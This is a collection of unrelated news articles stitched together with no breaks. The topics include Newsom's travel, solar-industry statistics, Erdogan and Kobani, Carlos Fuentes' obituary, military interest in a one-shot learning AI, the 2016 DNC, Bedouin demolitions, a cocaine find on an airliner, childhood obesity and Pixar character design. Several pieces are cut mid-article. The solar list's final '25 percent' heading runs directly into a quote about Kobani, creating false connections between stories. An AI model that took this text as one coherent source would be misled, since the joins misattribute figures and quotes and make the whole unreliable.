"During the good times, people in San Francisco liked having a jet-setting mayor. But in the context of budget problems, it's different," Cook said. "The perception early in his term was, 'Isn't this great that we have this young, vibrant mayor who's promoting San Francisco around the world?' And now it's like we have this mayor who's somewhere else when he should be right here."
Newsom's defense
Newsom said he works continuously on city policy while he's traveling, pointing out that sometimes he can get more work done on a flight to Southern California than in his office, where he's constantly interrupted.
"People should want to see me outside City Hall," Newsom said. "City Hall is oftentimes not a very productive place. I'd argue I'm in there way too much."
But his critics, most of them speaking privately, said it's not always a question of how much work the mayor does as how much face time he gives the city. Department heads have complained of feeling abandoned by the mayor at a time when they're being asked to make deep budget cuts, and Newsom was criticized last month for not attending budget meetings organized by David Chiu, the freshman president of the Board of Supervisors.
Mirkarimi, who has traveled abroad with Newsom, said he doesn't doubt that the mayor's out-of-town trips are useful. He's just not convinced that Newsom's time wouldn't be better spent in the city.
It's still too early to call solar PV a truly mainstream energy technology, but as GTM Research VP Shayle Kann recently pointed out, it's getting close. And there a lot of factors to consider other than how it stacks up in today's generation mix compared to legacy resources.
We've compiled a list of some of the best solar statistics of 2013 that demonstrate how far the technology has come -- as well as how far it still needs to go.
4 minutes
In 2006, U.S. solar installers were putting up a system every 80 minutes. This year, according to GTM Research, they installed a system every four minutes. By 2016, there could be a solar PV system deployed in America every 80 seconds.
100 gigawatts
In 2011, the global solar industry had 50 gigawatts of capacity installed. By the end of 2012, it had surpassed 100 gigawatts -- with more regions outside Europe becoming increasingly important. By the end of 2015, global solar capacity is expected to reach more than 200 gigawatts.
2.5 years
The 100-gigawatt number was an important benchmark for solar. It took nearly 40 years to get 50 gigawatts in the ground and on rooftops. But in just 2.5 years, two-thirds of all solar PV projects were built worldwide. The same goes for distributed (non-utility) solar projects in the U.S., where two-thirds of all capacity has been deployed since 2011.
10 gigawatts
With 930 megawatts of installations in the third quarter of 2013, America has already surpassed 10 gigawatts of cumulative capacity -- joining a small club of four countries that have reached the milestone. And for the first time in fifteen years, the U.S. will likely install more solar PV than Germany when 2013 comes to a close.
51 percent
The solar market is still dependent on state-level subsidy programs. However, California is witnessing a significant change as it phases out solar incentives for residential projects. According to GTM Research, 51 percent of residential PV systems were installed with no help from the California Solar Initiative -- a trend that GTM's Shayle Kann calls "the beginning of a monumental shift in solar in the U.S."
$0.70 per kilowatt
Although reliance on state subsidy programs may be starting to ease, net metering is still the backbone of solar promotion in the U.S. This year brought a number of key fights over net metering, as utilities worried that solar customers aren't paying the full cost of maintaining the grid. This fall, the Arizona Corporation Commission agreed to a compromise in order to preserve net metering, charging solar owners $0.70 per kilowatt a month. Industry onlookers are now wondering if this will set a precedent for other states.
$0.36 per watt
Since 2010, top Chinese firms dropped multicrystalline solar module costs by 54 percent. And according to GTM Research Senior Analyst Shyam Mehta, leading Chinese manufacturers are on a path to producing solar modules for $0.36 per watt by 2017. But rather than rely on price crashes for materials as they did in the past, Chinese firms will increasingly need to focus on refining technologies and automating plants to reduce labor costs.
59 percent
Twice this year, Germany's wind and solar installations provided 59 percent of power in the middle of the day, while also providing more than a third of generation throughout the entire day. On one occasion in October, solar peaked at 20.5 gigawatts of capacity and wind reached 16.6 gigawatts, with both providing more than 436 gigawatt-hours of electricity. That forced 23 gigawatts of conventional power plants to ramp down. And as GTM Editor Eric Wesoff pointed out, the grid did not explode.
One-third
That's how much Germany's second-biggest utility, RWE, has lost in value over the last three years, according to The Economist. With renewables taking center stage in Germany, they are creating steep drops in wholesale prices and forcing large fossil fuel plants to sit idle. Rather than sit on its hands, RWE has finally embraced this new reality, announcing this fall that it would become "a project enabler and operator, and a system integrator of renewables" based on a "prosumer" business model.
64 percent
The non-hardware costs of a residential solar installation now account for nearly two-thirds of the total system cost, according to new data from the National Renewable Energy Laboratory. That's up from 50 percent in 2011. Those costs include labor, supply chain logistics, permitting and customer acquisition.
$1 billion
If the U.S. solar industry is going to hit the 362,000 installations in 2016 forecast by GTM Research, it will spend more than $1 billion to get the customer leads needed. That amounts to $0.49 per watt, or about 10 percent of the total cost of an installation. In order to address this expense, which is growing more important as technology costs improve, leading solar companies are developing new project management tools, crafting new sales strategies and buying up lead generation companies. As a result, GTM Research's Nicole Litvak sees customer acquisition as one of the most innovative areas of solar in the U.S.
25 percent
"The terror will not be over... unless we cooperate for a ground operation," he said in a televised speech to Syrian refugees in the eastern Turkish city of Gaziantep.
"Months have passed but no results have been achieved. Kobani is about to fall [to IS]."
Erdogan's statement comes after reports of a prisoner swap deal between Turkey and IS for the release of 46 Turkish nationals and three local Iraqi staff.
As part of the deal, 10 European Union citizens were allegedly included in the 180 prisoners released by Turkey as verified by Syrian rebels and Turkish security sources.
Those released included three French nationals, two Swedes, two Macedonians, one Swiss and one Belgian.
Ankara has denied that a ransom was paid for the hostages' release but has so far refused to comment on whether a prisoner swap was agreed or not.
Following the release of the hostages, Ankara's stance has shifted from reluctance to one of willing assistance to the US-led coalition.
Western nations have put pressure on Turkey to secure its porous borders with Iraq and Syria following reports of jihadists reaching the terror group via the country.
US Secretary of State John Kerry said "the proof will be in the pudding" if Turkey acts to help the fight against the terror group.
Erdogan confirmed at the United Nations Summit in New York that Turkey would provide the "necessary support" to the operation in a "military or logistical" capacity to tackle the jihadists.
Last week, Ankara sent a proposal to the Turkish parliament that would expand the powers at the government's disposal to order military action against not just IS but to "defeat attacks directed towards our country from all terrorist groups in Iraq and Syria".
The Mexican author Carlos Fuentes has died, aged 83.
Fuentes was one of the most prolific Latin American writers known equally for his fiction and his essays on politics and culture.
His most famous works were The Death of Artemio Cruz and The Old Gringo.
He was associated with the Latin American Boom - a literary movement made up of mainly young authors whose politically critical works broke with established traditions.
He died in a hospital in Mexico City. Hospital sources did not comment on his cause of death.
Media playback is unsupported on your device Media caption Carlos Fuentes reads an excerpt of his most famous novel, The Death of Artemio Cruz on the BBC World Service in 2005
Mr Fuentes wrote a wealth of novels, plays and essays and regularly commented on political events in Spanish newspaper El Pais.
Born in Panama in 1928, he did not move to Mexico until he was 16.
The son of a diplomat, Mr Fuentes spent much of his childhood moving around the Western Hemisphere.
He said it was this which allowed him to view Latin America from a distance, giving him a critical edge.
'Universal Mexican'
In many of his works he drew on historical events.
He was constantly, constantly championing the younger people Ariel Dorfman In Pictures: Carlos Fuentes' wake
His narrative, like that of his contemporaries of the Latin American Boom, was rarely linear, instead relying on flashbacks and changing perspectives.
Among English-language readers he is arguably best known for his novel The Old Gringo, which was made into a film starring Gregory Peck in 1989.
The novel was inspired by the real-life disappearance of American journalist Ambrose Bierce during the 1910-1920 Mexican Revolution.
He was also outspoken in his political views, and was a vocal critic of US administrations, including Washington's policies on immigration and the war on terror.
Fuentes was also highly critical of Mexican politics, and in a recent interview with the BBC World Service, he called for a different approach to the war on drugs.
He also described the three main candidates in the Mexican presidential election as "mediocre".
'Deep imprint'
Cultural and political figures around the world expressed their grief at the news of his death.
Media playback is unsupported on your device Media caption Carlos Fuentes' last interview with the BBC World Service
"I am profoundly sorry for the death of our loved and admired Carlos Fuentes, writer and universal Mexican. Rest in peace," Mexican President Felipe Calderon wrote on Twitter.
The front-runner in July's election, Enrique Pena Nieto, said he had not always agreed with Fuentes on political matters but that he recognised his "extraordinary work".
Nobel Prize-winning Peruvian author Mario Vargas Llosa told Spanish daily newspaper El Pais that "with him, we lose a writer whose work and whose presence left a deep imprint".
Mexican novelist Jose Agustin told BBC Mundo that Carlos Fuentes "became an essential protagonist in Mexican political and cultural life. He had an immense value, from his first launch in the 1950s he never once backed down for anybody".
Chilean-American writer Ariel Dorfman said Fuentes had an amazing generosity of spirit.
"He was constantly, constantly championing the younger people. I never heard him say anything nasty about anybody," Dorfman told the BBC.
Mr Fuentes had often been mentioned as a candidate for the Nobel Prize but never won.
Among the many major literary awards he did win was the Cervantes Prize in 1987.
A computer program, funded in large part by the U.S. military, has displayed the ability to learn and generate new ideas as quickly and accurately as can a human. While the scope of the research was limited to understanding handwritten characters, the breakthrough could have big consequences for military’s ability to collect, analyze and act on image data, according to the researchers and military scientists. That, in turn, could lead to far more capable drones, far faster intelligence collection, and far swifter targeting through artificial intelligence.
You could be forgiven for being surprised that computers are only now catching up to humans in their ability to learn. Every day, we are reminded that computers can process information of enormous volume at the speed of light, while we are reliant on slow, chemical synaptic connections. But take the simple task of recognizing an object: a face. Facebook’s DeepFace program can recognize faces about as well a human, but in order to do that, it had to learn from a dataset of more than 4 million images of 4,000 faces. Humans, generally speaking, have the ability to remember a face after just one encounter. We learn after “one shot,” so to speak.
In their paper, “Human-level Concept Learning Through Probabilistic Program Induction,” published today in the journal Science, Brenden M. Lake, Ruslan Salakhutdinov, and Joshua B. Tenenbaum, present a model that they call the Bayesian Program Learning framework. BPL, they write, can classify objects and generate concepts about them using a tiny amount of data — one single instance.
To test it, they showed several people —and BPL — 20 handwritten letters from 10 different alphabets, then asked them to match the letter to the same character written by someone else. BPL scored 97%, about as well as the humans and far better than other algorithms. For comparison, a deep (convolutional) learning model scored about 77%, while a model t designed for “one-shot” learning reached 92% — still around twice the error rate of humans and BPL.
BPL also passed a visual form of the Turing Test by drawing letters that most humans couldn’t distinguish from a human’s handwriting. (Named after British mathematician Alan Turing, a Turing Test challenges an program’s ability to produce an intellectual product — teletype communication in the most traditional sense — that is indistinguishable from what a human could produce.)
“I think for the more creative tasks — where you ask somebody to draw something, or imagine something that they haven’t seen before, make something up — I don’t think that we have a better test,” Tenenbaum told reporters on a conference call. “That’s partly why Turing proposed this. He wanted to test the more flexible, creative abilities of the human mind. Why people have long been drawn to some kind of Turing test.”
Achieving humanesque learning rates in computer systems is a decades-old goal. One early demonstration of the concept appeared in Gail A. Carpenter and Stephen Grossberg’s 1997 (submitted) paper on what was then called adaptive resonance theory, or ART. Their model, based on a neural network, learned quickly but was limited to simple pattern recognition
By contrast, BPL can infer a causal reason why the data is the way that it is. It displays a more human-like ability to learn quickly and also to generate concepts, two abilities that are intimately linked. “It addresses a long-standing machine learning problem. How do you develop a learning …and an intelligence system that can both extract meaningful representations from complex data as well as successfully learn to transfer those representations to learning new concepts?” said Salakhutdinov.
It’s a question in which the military is keenly interested. The relevance of the work was “not lost on multiple defense funding agencies who contributed to funding … either directly or indirectly in some of the prior foundations at the lab,” said Tenenbaum.
Tenenbaum and his partners weren’t working on direct military applications, yet they received funding from the Air Force Office of Scientific Research, the Office of Naval Research, the Army Research Office, the Defense Advanced Research Projects Agency, or DARPA, and the Intelligence Advanced Research Agency, or IARPA. The work also received funding from the National Science Foundation and from private companies.
Why so much interest? “The key to the ‘Third Offset Strategy’ as presented by Deputy Secretary of Defense Bob Work is ‘human machine collaboration’ – so absolutely any breakthroughs in machine learning that advance the combined ability of our human machine collaborative solutions are extremely important. This specifically enhances the development of robust decision aids,” wrote Steven K. Rogers, the senior scientist for automatic target recognition and sensor fusion at the Air Force Research Laboratory, in an email to Defense One.
Consider the plight of the sensor operator on a drone team flying combat air patrols over, say, Afghanistan. Today, such a team might fly for 6,000 hours before striking a specific target. That’s time spent watching, waiting, collecting intelligence, and making determinations about what people on the ground are doing before finally launching a Hellfire missile. A machine that can recognize objects and, more importantly, behaviors could help with that.
If you ask Pentagon leaders, they’ll say that they have no interest in leaving the ultimate kill decision to drones. But a computer program that could do some of the watching, waiting, categorizing, and tagging could reduce strain on operators and perhaps enable even more patrols, intelligence-gathering, and targeted strikes.
It takes a lot of people to make meaning of “streaming multi-domain sensory data,” he said. “Any breakthroughs in those areas will help us address our challenges – certainly automated processes to recognize entities and relationships in the streaming data is a key capability,” Rogers said.
“Meaning making” in the context of sensor operators for drones equals understanding what the subject, say a fellow on the roadside outside of Mosul, is doing. Is he digging a hole for an IED or planting vegetables? If he meets another man and embraces him, is he transferring weapons or welcoming home his son? It’s the sort of categorization job that involves some ability to place yourself in the man’s shoes, and ask obvious questions. “If I were an insurgent, would I bury an IED here? If I were farmer, would I be here at all?”
Today, the most sophisticated military object recognition software, such as the Visual Profiler program from Israeli-based Video Inform, can classify a variety of objects from satellite images. But they can’t make sense of what people on the ground are doing.
Object recognition in the commercial sector isn’t much better. “In the public literature it is clear that under well constrained environmental conditions machines can perform close to human levels in some tasks – but the variability and extended operating conditions we face in the military make them not suitable for consideration in replacing Airmen in general,” said Rogers.
The BPL, too, is not a program that will replace airmen tomorrow. Its more immediate applications lie in improving the interface with smartphones. Tenenbaum conceded that it is “a huge leap” from classifying letters to divining human actions via satellite and drone imagery. “A lot of things will have to be done that involve expertise that none of us have” on the research team, he said.
But a huge leap is not an impossible one. To classify styles and types of writing, the BPL program had to learn something about the intent of the writer in order to arrive at the best possible route for reproducing the written character. It’s an ability that could—with time, research, and the input of experts—lead to an AI system that could function like a human intelligence analyst, a system capable of sharing mindspace with a would-be insurgent.
The vacationing Scandinavian dream team — Samuel Kvarzell, Markus Asberg, Eric Jansberger and Erik Naslund — broke up a vicious brawl between homeless men while riding an uptown No. 6 train to see the Broadway show “Les Miserables” on Wednesday.
But while the off-duty out-of-towners were heralded by everyone from NYPD brass to Gotham straphangers, their heroic move barely garnered a kudo in Sweden.
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“When somebody does something good here, we give them cake and a medal. But it’s not really a big deal,” said Swedish officer Kia Samrell, who works at the Stockholm Police Department with Kvarzell.
“In Sweden, if you see something bad, you just do something to help . . . It’s ordinary, what they did.”
Even Kvarzell’s boss was so underwhelmed that he refused to take calls from the press about it, Samrell said.
“[The story] is bigger there than here,’’ she explained.
The four officers appeared to agree with their fellow cops’ assessment of their deed.
They declined to talk about their heroics Thursday, other than Asberg saying, “It was no big deal.”
Instead, he wanted to talk about the play, at which they arrived on time after their dramatic digression.
“It was awesome — really, really good,” he said of the show.
A rep for “Les Miz” praised the Swedish cops — who are staying at a budget hotel in Midtown — and offered them a backstage tour.
An NYPD officer also contacted the foursome, saying that “a commissioner” wants to meet them and present them with a gift to honor their deed, a police source said.
Meanwhile, straphangers gushed that they’re cuter than a boy band.
“They’re pretty fine. Brave and blond!” said Janice Brown, 37, who was riding an uptown No. 6 train Thursday.
Justice LeBoy, 24, a student, added, “That’s a really brave thing to do. Especially because they are tourists — tourists are usually just in the way.”
PHILADELPHIA—Donald Trump wants to run his campaign like Richard Nixon in 1968. He appeals to “law” and promises “order” in a chaotic, frightening world. But Trump misses a key part of Nixon’s message—his appeal to the ordinary people. In that campaign, Nixon called out to the “voice of the great majority of Americans, the forgotten Americans, the non-shouters, the non-demonstrators.” He spun a narrative of normalcy. “[T]hey are black, they are white; they’re native born and foreign born; they’re young and they’re old,” he said. “They’re good people. They’re decent people; they work and they save and they pay their taxes and they care.”
Nixon positioned his campaign, and the Republican Party, as the party of “normal” Americans, the party of the “silent majority.” Trump didn’t make this move, because he couldn’t. He’s a reality television star whose life was lived in tabloids, whose brand is the outrageous and nonsensical. He’s decadent, extravagant, and proudly contemptuous of modesty in any area of life. His majority, if he has one, is a loud majority and an angry majority, not a silent one.
On the third night of its national convention, the Democratic Party worked to flip the script. Using a broad roster of speakers, from Vice President Joe Biden and vice presidential nominee Tim Kaine to former New York Mayor Michael Bloomberg, long-time national security official Leon Panetta, and eventually President Barack Obama, Democrats recast theirs as the party of normalcy and the champion of those decent people. But where Nixon spoke to a silent majority of white Americans, the Democratic Party wants to speak for a broad and diverse tapestry of blacks, immigrants, Hispanic Americans, Asian Americans, and the college-educated, especially among white Americans.
It’s that last category of voters that got the most attention on Wednesday. From 1952 until 1980, Democrats held a disadvantage among college-educated whites. As the party of unions and the welfare state, they counted instead on support from working-class whites. But since 1980—and especially in the last decade—this has flipped. Increasingly, the Democrats’ most reliable white supporters come from the college-educated cohort, while Republicans find themselves with a large and growing share of working-class whites. You see this in the polls. According to the “Upshot” model at the New York Times, Clinton leads Donald Trump by 9 points among white women with a degree and 3 points among white men with a degree. Trump, by contrast, leads Clinton by 3 points among white women without a degree and by a whopping 14 points among white men without a degree.
Democrats know they need to stanch the bleeding with working-class white men, and there’s a strong chance that Joe Biden, who delivered an intimate and arresting speech Wednesday night, will have that task in the fall. But they also see a distinct opportunity with college-educated whites and a real chance to widen the margin among college-educated white men and women.
As such, the Wednesday roster featured names and figures who spoke to the concerns of those voters. Erica Smegielski, whose mother was killed in the shooting at Sandy Hook Elementary School in 2012, was there as an advocate for gun control, a popular position among college-educated whites. Christine Leinonen lost her son in the Pulse attack in Orlando, Florida, and spoke both to gun control and fears of terrorism. Likewise, former Arizona Rep. Gabrielle Giffords appeared on stage as one of the most famous survivors of a mass shooting.*
The headline speeches came from figures of authority—all white men—who in different ways sought to delegitimize Donald Trump and persuade the most Republican-leaning whites with degrees to switch sides and abandon the GOP in favor of the Democrats, presented as a party of almost staid responsibility. Panetta, a former congressman, secretary of defense, and CIA director, vouched for Hillary Clinton’s national security credentials and condemned Donald Trump as fundamentally unfit to lead the nation’s armed forces. Retired U.S. Navy Adm. John Hutson did the same. Coming from the right of the Democratic Party was Michael Bloomberg, who slammed “party politics” and used his cred as an independent to endorse Clinton as “the responsible choice.”
“Today, as an independent, an entrepreneur, and a former mayor, I believe we need a president who is a problem solver, not a bomb thrower,” he said. “And I know Hillary Clinton can do that because I saw it firsthand.” Bloomberg used his stature as a billionaire to attack Trump’s businessman bona fides. “I’m a New Yorker, and New Yorkers know a con when we see one.”
Kaine also took on this task, introducing himself as a pragmatic politician of faith and decency. Kaine, like Bloomberg, is pitched to those college-educated whites who crave normalcy and want to feel comfortable voting for Democrats.
Of course, the capstone to the night was President Obama, who gave a stirring defense of his administration, a full-throated endorsement of Hillary Clinton, and who made the case for American pluralism and American democracy, as juxtaposed with Donald Trump, the strongman. Borrowing from Lincoln, Reagan, and presidents in between, Obama used his authority and his biography to offer up the Democratic Party and Clinton as the choice for America’s traditional values, as expressed by a multitude of creeds and colors. It was an appeal to what the president, elsewhere, has called “the goodness and decency and common sense on the ground,” all of which exist apart from our “rigid, dogmatic, often mean-spirited politics.”
“America has changed over the years,” Obama said Wednesday. “But these values my grandparents taught me—they haven’t gone anywhere. They’re as strong as ever, still cherished by people of every party, every race, and every faith. They live on in each of us. What makes us American, what makes us patriots, is what’s in here. That’s what matters.”
A modern-day silent majority, diverse and pluralistic. That’s the pitch. We’ll know soon enough if it works.
*Correction, July 28, 2016: This article originally misspelled Gabrielle Giffords’ first name. (Return.)
Forces arrived at Al-Araqib carrying arms and batons as bulldozers tore down homes, resident Aziz al-Turi told Palistinain news agency Ma’an.
Another resident, Maher Abu Qreinat, said that homes and other structures were pulled down in the Negev village of Abu Qreinat on the same day.
The Israeli government approved the Prawer-Begin Bill in January, calling for the relocation 30,000-40,000 Bedouins and the demolition of about 40 villages which the Jewish state considers to be illegal.
The bill was approved by the country’s parliament, the Knesset, during its first reading in June. Two additional votes are expected to take place.
Israeli Prime Minister Benjamin Netanyahu previously said that the move would “put an end to the spread of illegal building by Negev Bedouin and lead to the better integration of the Bedouin into Israeli society.”
The Bedouins refuse to be relocated, saying they purchased their land in the Negev desert before the establishment of the state of Israel. However, they say the agreements were verbal ones – and there is no way to prove their ownership of the territory.
Amnesty International called on Israel to stop “demolitions of Arab Bedouin homes” after Israeli forces performed a previous raid on Al-Araqib in July.
"The Israeli government's Prawer-Begin plan would lead to the forced eviction of tens of thousands of Arab Bedouin citizens of Israel,” Philip Luther, director of Amnesty International's Middle East and North Africa Program, said. “The plan is inherently discriminatory, flies in the face of Israel's international obligations and cannot be accepted in any circumstances."
UN High Commissioner for Human Rights Navi Pillay also slammed the bill in July, urging Israel to reconsider its plans to relocate the Bedouin to officially recognized towns such as Rahat, Khura, and Ksayfe.
"If this bill becomes law, it will accelerate the demolition of entire Bedouin communities, forcing them to give up their homes, denying them their rights to land ownership, and decimating their traditional cultural and social life in the name of development," he said.
There are around 210,000 Bedouins in Israel, most of whom live in and around the Negev desert in the southern part of the country. More than half of them reside in unrecognized villages which lack basic infrastructure. Many Bedouins also live in extreme poverty.
The Israeli government said it would grant legal status “as much as possible” to the currently unrecognized Negev villages if they meet minimum population criteria – but those requirements were never revealed.
Fatima, (his sister) on Grafton Street to highlight Ibrahim's 1,000th day in prison
ENDA KENNY HAS raised the fate of Ibrahim Halawa with the president of Egypt.
The Dáil heard today that the Taoiseach rang Egyptian president Abdel Fattah el-Sisi on Monday to push for the release of Halawa.
The Dáil passed an all-party motion this afternoon calling for the release of the 20-year-old Irishman, who has spent over 1,000 days in prison in Egypt.
The motion, noted that Halawa has been detained “without due process” since his arrest in 2013 as a 17-year-old.
It called his detention “an unacceptable infringement of his basic human rights”.
In June his trial was postponed – for the 14th time – until 2 October, when he is likely to face a mass trial alongside 493 other defendants.
Halawa, from Firhouse in Dublin, was arrested by the Egyptian army in a Cairo mosque after allegedly taking part in a protest during the Muslim Brotherhood’s “day of rage” in August 2013.
President of Egypt, Abdel Fattah el-Sisi Source: AP/Press Association Images
He faces a possible death sentence.
Presidential decree
Minister for Foreign Affairs Charlie Flanagan told the Dáil that Taoiseach Enda Kenny spoke to the president of Egypt on Monday and called on the Egyptian government to release Halawa under presidential decree 140.
“We will continue to work actively in support of these efforts,” he said.
In fact, the Taoiseach conveyed this message directly to Egyptian President el-Sisi on Monday last when he once again called him on the case.
It’s the third time the Taoiseach has spoke to President el-Sisi about Ibrahim Halawa, said Minister Flanagan:
In the course of that call, the Taoiseach set out, as we have done in previous contacts with the Egyptian authorities, the arguments for the immediate release of Ibrahim Halawa.
“The Egyptian President made it very clear that he understands that this is a significant matter of concern for the Irish Government.”
The Egyptian government insists it has no power to intervene in a case before the courts – but, Minister Flanagan added:
The President made clear to the Taoiseach that he wishes to see this matter resolved in the context of a positive bilateral relationship between our two countries.
Egyptian Ambassador Soha Gendi is due before the Oireachtas Foreign Affairs Committee in the coming weeks to address the repeated delays in Halawa’s trial.
We suspect that a Colombian drug cartel is back to the drawing board again this week after a maintenance crew with American Airlines discovered around 30 pounds of cocaine stowed in the nose of a Boeing 757.
Reports indicate the plane, which originated from Bogota, ended up getting pegged for a routine checkup once it landed in Miami, but some timing issues caused that service to be delayed until the plane touched down in Tulsa. That’s where a technician discovered the drugs stowed inside the electronics bay of the nose gear.
“One of my deputies received a call out here saying that maintenance individuals working on a plane found what essentially was cocaine,” Tulsa’s sheriff, Vic Regalado told CBS News. “The plane left Bogota, came into Miami, got picked up on a computer for routine maintenance. Usually that would happen in Miami, but they were overloaded so they assigned it up here.”
There were a total of seven bricks of cocaine found in the nose of the plane. Law enforcement officials said the entire shipment had been covered in wheel grease in what they believe was an effort to prevent drug-sniffing dogs from going buck wild in case the heat came on in Miami.
But while investigators are not divulging too much information on the case, it most definitely spells bad news for some Miami American Airlines employees who are obviously in cahoots with a drug cartel. Right now, the U.S. DEA is reportedly conducting an investigation to see if they can find out more about the origins of what is being called a “sophisticated operation.”
According to estimates provided by Tulsa law enforcement, the shipment is worth somewhere between $200,000 and $434,000 on the black market.
This is not the first time drugs have been discovered by an airline maintenance crew in Tulsa.
In 2015, the Tulsa County Sheriff’s Office seized just over 26 pounds of cocaine that had been found on a plane owned by American Airlines. In fact, American Airlines employees have a rather extensive history for assisting in the distribution of illegal drugs. Several years ago, the DEA busted dozens of AA ramp workers and contractors suspected of smuggling cocaine and heroin into the United States, reports the Associated Press.
Pence is currently living in the Chevy Chase neighborhood, near Comet Ping Pong.
A gunman showed up to the restaurant earlier this month and fired at least one shot. He claimed to be "self-investigating" a conspiracy theory that a child sex slave ring linked to Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE was operating out of its basement.
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A group of Pence's neighbors, who call themselves the Neighbors Organizing for Power and Equality, posted an open letter to Medium inviting the vice president-elect to meet with them at Comet Ping Pong to discuss the negative impacts of fake news.
“Now, your new neighbors are hurting. Parents and grandparents are left struggling to explain to our traumatized children why a man would fire a gun in a family gathering place in the heart of the community,” the letter read. “Families are frightened for their own safety.”
The letter told Pence that “breaking bread” would help “bring an end to this madness.”
The French-born American author Anais Nin wrote that “we don’t see things as they are, we see them as we are.” Nin wasn’t a doctor, but doctors—particularly practitioners who are treating overweight and obese patients—would do well to heed her words.
There’s a growing health care problem in the United States: unrecognized abnormal weight status among families. For these families, the image in the mirror is not necessarily what is reflected. But the concern is not only for personal but also for public health because rising rates of youthful obesity theoretically account for life-shortening of two to five years, and are expected to reduce life expectancy in the U.S. for the first time in more than a century.
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Over the past three decades, obesity in the United States has escalated such that nearly 70 percent of American adults are either overweight or obese and, notably, over 30 percent of children are now classified as overweight or obese. These findings are striking, particularly since childhood obesity predicts adult obesity; 50 percent of obese children are likely to become obese adults. Such children and young adults are also more likely to be carrying risk factors like elevated cholesterol, diabetes, and high blood pressure that predict heart disease. Excess weight puts them at risk for other life-altering chronic ailments including orthopedic issues and early arthritis, gall bladder problems and sleep disturbances. Many of obese adolescents already meet criteria for the so-called “metabolic syndrome”—a constellation of metabolic risks that predicts an increased incidence of heart disease and stroke.
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Children with overweight or obese parents and schoolmates are more likely to underestimate their own size, possibly because they have been desensitized about normal weight or due to the stigma of being "fat."
We need to learn more about intergenerational attitudes in families, but here’s what we do know now: Obesity in one or both parents influences the risk of obesity in a child as a consequence of both shared genetics and environmental factors. And children of overweight parents are likely to be reared in environments promoting accelerated weight gain, the so-called “obesogenic household,” and such children are likely to become overweight or obese adults, with the prospect of heart disease, which is the leading cause of death among American men and women.
While the overall weight problem is only getting worse, it seems that pre-adolescents of low-income racial and ethnic minorities are 10 percent more likely to be obese compared to their white peers. Cultural standards may be to blame. Some have observed that minority parents are more likely to desire larger sizes for their children, for example; among minority mothers, two-thirds with overweight pre-school children are either satisfied with the child’s current size or wish them to be heavier. Among Hispanic families who recently immigrated to the U.S., mothers frequently underestimate overweight children as normal weight, which is often attributed to socioeconomic status and standards in the community.
The younger generation is affected as well. Children with overweight or obese parents and schoolmates are more likely to underestimate their own size, possibly because they have been desensitized about normal weight or due to the stigma of being “fat.” Moreover, children of obese mothers often underestimate their mother’s size. If excess weight is not perceived as an issue, or if families do not appreciate the link between current and future health, they may not initiate actions to prevent obesity.
There is a void in the medical community’s understanding of how families see themselves and understand their weight. We can start correcting that by including patients in the conversation in the practitioner’s office. Currently, less than 15 percent of pediatricians and other health care providers follow recommended evaluations for co-existing conditions associated with abnormal weight status, and fewer than 50 percent of primary care providers communicate with the parents of patients regarding obesity prevention.
At the doctor’s office, patients are rarely asked about perceptions of their own weight. But it’s important, because it involves patients in their health; opens a discussion about prevention that can include counting calories and carbs, limiting portion size, encouraging shared family meals, reducing television time, and exercising; begins an exchange about recommended weight; and can lead to setting goals for a healthier life. The interrelated failures of a practitioner to appreciate how a patient visualizes herself and a patient to properly assess weight constrains good behaviors. TV shows, the Internet, popular magazines, and advertisements—regular sources for those seeking guidance about weight—can be misleading and filled with misinformation. As far as this goes, even the TV host and cardiovascular surgeon Mehmet Oz was recently chided by a U.S. Senate consumer protection panel because of unfounded claims he made about weight loss aids.
WASHINGTON (Sputnik) – Under the new policy, confirmed by Defense Secretary Ashton Carter on Friday, US commander in Afghanistan General John Nicholson will be able to decide when American troops may accompany regular Afghan troops into combat.
"The powers that be [in the Obama administration] have realized that either the United States become more actively engaged in Afghanistan or the entire 14-year enterprise will collapse due to Afghan Army and police inability to confront the challenge posed by the Taliban."
Giraldi said the policy change was necessitated by the poor condition of the regular Afghan military force.
"The Afghan army is bedeviled by corruption and poor morale as well as no sense that the fighting is leading to any kind of political settlement."
Giraldi also predicted that the move was no more than a holding operation so that US President Barack Obama would not face a total collapse of the Afghan Army before he leaves office in January 2017 and to help his heir, former secretary of state Hillary Clinton win the 2016 election.
"Obama for his part is hoping to keep the leaking ship afloat just long enough to see Hillary in the White House."
Giraldi advised that the US government seek a genuine compromise negotiated settlement with the Taliban since it had no realistic hope of eradicating them.
"Only a political settlement that includes the Taliban has any chance of success."
Speaking at a Defense One technology summit in Washington earlier on Friday, Defense Secretary Carter defended the new policy as an effective use of the limited US forces still operating in Afghanistan.
The move gives the US military greater ability to accompany and enable Afghan forces battling the Taliban, in a move to assist them more proactively on the battlefield with a greater use of US air power, particularly close air support.
The phenomenon is clearly illustrated in this image for Pixar’s upcoming film Inside Out, which features three female characters and two male ones.
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While at first glance the women might look quite different, Alex traced their face shapes to demonstrate just how similar they actually are.
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After that she pulled images of male and female characters from the likes of Up, Wreck It Ralph, Brave, The Incredibles, and several other recent Disney and Pixar films.
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While these results are rather shocking, there are a couple of factors at play here. This is not a fully comprehensive list of Disney/Pixar female characters—for instance Colette from Ratatouille may share the round face shape of her animated sisters, but she has a larger nose than the rest. The Incredibles’ Edna Mode also has a less generic face. In general, supporting animated characters are more likely to look distinctive than protagonists. The problem is that Disney/Pixar films—even the ones with female leads—almost always populate their supporting casts with men (10 out of 14 Pixar films fail the Bechdel test; Anna and Elsa are essentially the only two women in the entirety of Frozen). That means there are fewer opportunities for animators to create goofy looking female supporting characters.
However, even just comparing the male and female protagonists is revealing. The male leads of Up, Frozen, Ratatouille, Wreck It Ralph, and The Incredibles have a great diversity of face shapes that aren’t necessarily “traditionally” attractive. Female leads, however, almost all fit the same princess-inspired mold. These findings come on the heels of a bizarre quote from Frozen’s head of animation Lino DiSalvo about the fact that it’s harder to animate female characters because “you have to keep them pretty and they’re very sensitive.”
The other question is: Is it inherently bad that characters have similar faces? If the answer is “no,” then why are Disney and Pixar so intent on diversifying male face shapes? It’s ultimately not the lack of different faces that’s troubling, it’s the fact that the trend is so clearly applied to one gender and not the other, especially when one factors in the limiting beauty standards already imposed on women.
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While everyone is welcome to draw their own conclusions from Alex’s data, she sums up her work thusly:
Apparently every Disney woman is a clone/direct descendant of some primordial creature with huge round cheeks and a disturbingly small nose, because there is no other explanation (yes there is (it’s lazy sexism)) for the incredible lack of diversity among these female faces.
